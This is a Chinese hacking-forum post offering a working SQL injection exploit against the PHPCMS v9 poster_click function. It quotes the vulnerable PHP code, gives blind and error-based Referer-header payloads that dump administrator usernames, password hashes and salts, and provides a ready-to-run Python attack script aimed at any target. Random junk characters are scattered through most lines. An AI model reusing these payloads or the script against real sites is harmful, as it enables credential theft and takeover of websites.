找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2235|回复: 0
打印 上一主题 下一主题

phpcms post_click注入0day利用代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:01:00 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:+ K3 m( X9 E2 k
8 e: a/ B$ M8 m4 Z) l
问题函数\phpcms\modules\poster\index.php. K# W' C& s, v) U$ Y
" A! p0 F$ ^3 [' v3 q! u
public function poster_click() {7 M, R* \) B4 f, B: O6 g
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;$ K: @: g. f2 F, z! ]0 Z1 Z3 A
$r = $this->db->get_one(array('id'=>$id));
; h! _& _4 l% b. ]1 e- f6 T( Kif (!is_array($r) && empty($r)) return false;
, t: T$ `$ `5 G( K9 n- _$ip_area = pc_base::load_sys_class('ip_area');
- {0 H! f! Z' V4 k$ip = ip();0 G4 ^9 F3 O% _; g, a; L
$area = $ip_area->get($ip);! P1 ?+ g% _; G& N. w6 p$ O
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
4 z$ V9 r# n+ \if($id) {
) }. f# @: o) V2 Y1 K1 y$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
. F5 t5 Q0 o* {$ m! H/ u  t$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));& p% U' D: a) K
}8 r5 e+ D* M2 A" _" e# i* h& k
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));: y4 e- D' T' n/ u
$setting = string2array($r['setting']);
6 ?9 I! w+ \; @* M" N  Xif (count($setting)==1) {. L$ x' z9 c7 N& h6 N) @
$url = $setting['1']['linkurl'];3 X9 t; B' _8 d1 i- @9 I. B* O, K
} else {2 D3 \% v8 q9 _. G* G
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];$ ?7 U% w1 F+ ?) R  B7 C
}
; Q8 W5 ?& c, \4 \% \header('Location: '.$url);
4 i9 O8 X, |. [' {9 d. G}
# Y% C7 H% E% E8 ]4 m4 e% w. K
+ B8 @0 \; N/ d1 W# ?6 ^+ R# \4 F2 Z 6 h% j( b' b0 ^# C2 N8 p( L

6 m1 e) M) S& G' ]( S利用方式:; D1 s5 F; e" y& H) z

  C6 X- P0 n0 j: ?1、可以采用盲注入的手法:+ T2 a  B% d  F; P: G

+ R7 Q9 f* ?2 q8 Hreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
& s2 ^# b+ S, I! _7 ~
$ _6 ?& H/ ~) ]通过返回页面,正常与否一个个猜解密码字段。$ l) K4 k' K# |$ w  C& z, o; R

2 F. F9 x$ `1 E2、代码是花开写的,随手附上了:
5 U# u# _2 f5 Y9 C4 z4 |
, c! V' d& Z! j5 q& N1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
4 q, J1 Q, r  Z) N) v1 w: B% J  x% b% T* C' e
此方法是爆错注入手法,原理自查。
( c. f2 Y9 {* F
! ~' s8 t2 r4 {. t3 q
1 J2 ^. A8 J  u+ N1 `
7 h' V% i; k& V9 _" T利用程序:( i4 g6 r  _- u1 N8 l

6 H/ d: L0 p9 ]. Q' f#!/usr/bin/env python* E8 g" k3 W* R2 _$ m9 P$ H
import httplib,sys,re
7 I7 i: H8 ]0 b% S* l3 q7 S; ]* D+ \" x, |
def attack():0 t% {+ t; \& U1 E2 l0 t
print “Code by Pax.Mac Team conqu3r!”6 V! Z7 I6 W. ^0 k
print “Welcome to our zone!!!”
& k7 V, q3 E7 R% e1 x; _4 Yurl=sys.argv[1]; B8 c! p9 F1 J, {3 `$ q9 q; ~6 e. ]
paths=sys.argv[2]/ R) @. K8 z- y2 v! \3 l/ a4 L& h
conn = httplib.HTTPConnection(url)) a( K. H  _/ ?* b1 l
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,3 }6 k" b. z: p% V2 h1 L
“Accept”: “text/plain”,' `8 a0 B# R% F" S) u
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
/ g% u% V3 M+ h+ m4 K4 _( ~conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
8 I6 Z1 x- W! ^9 \$ c0 v9 br1 = conn.getresponse()
: D2 E% s) X: M1 d, e8 W, Idatas=r1.read()! t$ q5 r% _7 Y  s8 E! p
datas=re.findall(r”Duplicate entry \’\w+’”, datas)' B' h8 l" T8 F0 M# e/ Z: E
print datas[0]3 j: u5 M" a' ?: y* W
conn.close()
' s1 f) z1 n1 B+ m, }0 `if __name__==”__main__”:" J& L! n4 Q' h) ]9 i7 m4 T
if len(sys.argv)<3:2 }8 ~( b8 U) L( F  \" w# U
print “Code by Pax.Mac Team conqu3r”
* e4 I: {$ B  Z9 Q8 q) B7 @print “Usgae:”
  i# L- W9 z; ^, Y, p% r8 @print “    phpcmsattack.py   www.paxmac.org /”1 c0 p# U2 M7 |2 d
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
3 X: g2 f  ]  V# [" r+ q. lsys.exit(1)3 s# l8 r' [, `
attack()
, ~6 c) h' I( T& I( O8 }' h1 j( n; e
: T9 q& u! W% Z: q. Q; z+ y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表